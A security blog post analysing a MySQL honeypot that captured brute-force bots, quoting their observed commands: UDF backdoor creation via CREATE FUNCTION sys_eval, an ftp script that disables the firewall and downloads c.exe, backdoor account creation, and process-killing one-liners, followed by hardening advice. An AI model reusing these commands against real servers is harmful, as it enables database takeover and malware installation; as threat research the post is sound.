Blogs & Stories

SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to destination for technical breakdowns of the latest threats, critical vulnerability disclosures and cutting-edge research.

A Handshake with MySQL Bots

Edge Services

It’s well known that we just don’t put services or devices on the edge of the Internet without strong purpose justification. Services, whether maintained by end-users or administrators, have a ton of security challenges. Databases belong to a group that often needs direct access to the Internet - no doubt that security requirements are a priority here.

In this article, we will focus on the database sector, specifically MySQL, and one of the common and harmful threats that lurk on the Internet.

Bots are a well-known threat on the Internet. These lazy programs constantly check whether there is an available MySQL service on the standard TCP/3306 port. Lazy because, in our case, there were about 20-30 login attempts once per day or a few. After detecting an available database instance, the bot tries bruteforce administrator credentials. Internet scanner service binaryegde.io reports over 4.2 million available devices that have been recognized as MySQL service.

The Honeypot

To take a closer look at the situation, I created two MySQL and MariaDB servers in fairly new releases (one after another). I wanted to find out what techniques and methods attackers are currently using to escalate rights and take control of the server and find out their purpose.

The honeypot was available for over a month on a standard TCP/3306 port with a fake root account and an easy-to-guess password. I configured the root account in such a way that the bot would not do any damage once logged in. Permissions on that account were very low but not minimal. Except for enabled event logging, the rest of the configuration was default. I also created a few databases (besides standard 'mysql', 'test', etc.) along with tables to create a realistic production environment.


I didn’t observe many login attempts during the first period until the honeypot IP was listed on Shodan in the “product:mysql” search results.

I observed 24 unique IP addresses throughout honeypot operation. During the analysis, it turned out that some addresses were related. For example, some addresses simply disappeared after a successful bruteforce, and then, after some time connection from new IP managed to log in at the first attempt.

Actor #1

Yongger is a well-known bot that has been active on the Internet for many years. Yongger (in Chinese - brave) uses two methods, respectively for Windows and Linux servers. Despite the fact that Yongger checks the operating system, it still performs both operations 'blindly', so we observe attempts to run Windows PE files (like DLL, EXE) on Linux system, etc.

Method 1 (for Windows)

Screenshot 2021-08-27 at 17.16.00

After guessing the password, the bot collects server information, turns off autocommit mode, and places a hexed UDF malicious plugin (DLL) in the 'a' variable.

MySQL User Defined Functions (UDF) allows you to create your very own functionality and use that inside the MySQL. Bots use this method to call shellcode or act as a backdoor.

Screenshot 2021-08-27 at 17.00.15

The SELECT… INTO DUMPFILE clause creates cna12.dll (other variants: nusql.dll, bincna12.dll) in the plugins directory. The function DUMPFILE is executed in two slightly changed variants. However, to be able to create a file using the following method, the user must have FILE privilege granted, and the mysqld process must have WRITE access to the designated directory (further adjustments can be required depending on MySQL version and configuration).

CREATE FUNCION calls xpdl3() function, which downloads the target backdoor - isetup.exe (another variant: asetup.exe) and saves it in the root directory of the C:\ drive.

DROP commands remove auxiliary tables and functions, hiding traces of malicious activity.

Method 2 (for Windows)

Screenshot 2021-08-30 at 13.47.30

The next method prepares (3x DROP) environment for the next attack and places another hex-encoded UDF malicious plugin. This time the payload is much bigger than the previous one.

Screenshot 2021-08-30 at 14.11.24

Function DUMPFILE creates a y.exe on the C drive and puts another hexed payload in the 'a' variable.

Screenshot 2021-08-30 at 14.17.05

The new plugin-backdoor (amd.dll) is placed in multiple locations and then used by CREATE FUNCTION to create the amdshelv() function, which name reveals its purpose.

The bot now tries to stop the ‘sharedaccess’ Windows service, then creates a ge.dat script for the ftp client and runs it: ftp -s: ge.dat. We can see the ftp credentials 123/123 that are used. Here is a more readable form:

cmd.exe cmd/c net stop sharedaccess
echo open>>ge.dat
echo 123>>ge.dat
echo 123>>ge.dat
echo bin>>ge.dat
echo get c.exe
echo get c.exe>>ge.dat
echo bye>>ge.dat
ftp -s:ge.dat
del ge.dat
del y.exe
del y.exe

Two executables are called: c.exe and absl.exe, which ends the attack.

I was curious about the fact that the absl.exe file appeared, which is probably a consequence of executing c.exe.

I was trying to get to the ftp server to poke around – all I got was a message telling me that the limit of 421 active connections was reached (screenshot below). In other words, this attack is active and apparently successful.


Screenshot 2021-08-30 at 15.18.23


HTTP server (TCP/996) preview below:

Screenshot 2021-09-01 at 13.50.14


I visited the site two times and the number of hits has doubled over two weeks.

Method 2 (for Linux)

Screenshot 2021-08-30 at 16.41.57

Following variant aims the Suse Linux distribution. In order to make an access to the system shell, the bot trying to run one of the possible legit UDF plugins, hoping it exists:

CREATE FUNCTION sys_eval RETURNS string SONAME 'mysqludf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'mysqludf64.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'udf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'xiaoji64.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'xiaoji.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'liunx32.so'
create function sys_eval RETURNS string SONAME 'liunx64.so'
CREATE FUNCTION sys_eval returns string soname "lib_mysqludf_sys.so"

Similar to the previous actions, the bot downloads a malicious executable named ‘mysqld’ (other variants: lisnu, ssyn) from the same address and tries to run it after the firewall (iptables and reSuSEfirewall2) services are stopped. It does this in two ways, one after another.

Actor #2

The following attack is more interesting. There are more steps than just trying to upload and run an executable in various ways. Many similarities may suggest that this is an improved version of Yongger, but there are exceptions. However, it is certain that the bot which making connections from that address already knew credentials - the first connection to the server was authenticated right away.

The bot immediately tries to grant all possible permissions to the root account (which we’re currently using) and creates new accounts: server and mysqld.


insert into mysql.user(Host,User,Password) values("%","server",password("123456*a"))

CREATE USER 'mysqld'@'%' IDENTIFIED BY '123456*a'

Screenshot 2021-08-30 at 18.31.51

After user creation attempts bot enables global variables log_bin_trust_function_creators and (outdated) log_bin_trust_routine_creators in order to use the CREATE FUNCION more reliable.

Then updates max_allowed_packet variable to prepare for a bigger chunk of payload:

set global log_bin_trust_function_creators=1
set global log_bin_trust_function_creators=TRUE
SET GLOBAL log_bin_trust_routine_creators=1

Further steps look the same as before, where clause SELECT… INTO DUMPFILE was used.

Other Linux activity:

Screenshot 2021-08-31 at 20.12.14

We can see here attempts of killing many processes, starting from lz1:

ps -ef | grep lz1|grep -v grep|cut -c 9-15|xargs kill -9

This is a substitute of a combination pidof and pkill commands. Then continue by killing processes: .sshd, .ssh, and1, cisco, ciscoh, L24 and L26 – preparing the ground for a new attack.

There is also an interesting way of killing processes. Perhaps the same processes, but this time by their TCP ports:

kill str=`netstat -anept 2>/dev/null |grep -E ':(68866|7583|2222|10711|6009|10991|10771|7168|7668|36000|36001|25000|25001|25002)'|cut -d / -f 1`


Windows PE:




cna12.dll / bincna12.dll









y.exe / c.exe / 360.exe / isetup.exe / asetup.exe




Linux ELF:




ymqynd32.so / lib_mysqludf_sys.so

legit UDF







As the analysis shows, the bots, in this case, are not particularly aggressive. They don't overload the network or force your credentials in hundreds of thousands of tries to get inside. Slowly checking popular passwords can sometimes get the desired effect.

Although I didn’t observe any activity indicating that the attacker was downloading files, databases, or attempts to encrypt a drive (ransomware), the main goal of the attack was to take control of the server (partial or complete) and establish a CNC channel.

Looking at the numbers, over 1200 times the backdoor was downloaded, or 421 active ftp connections did not allow logging in - it proves only that despite such simple tricks, the attack often succeeds.

It's certainly not a threat to well-administered databases, but we should definitely pay attention to details such as installed UDF plugins, directory owner and privileges, accounts, and their hosts - 'root'@'%' vs 'root'@'localhost', and many more.

To protect yourself from this type of attack, you will most likely need to use a custom (non-standard) administrator name and remove the root account. Using a long and complex password is an absolute requirement. It is a good practice to implement a password policy (if you’re an organization), use plugins that will take care of the password complexity level, password validity period, etc., and periodically do database security audits.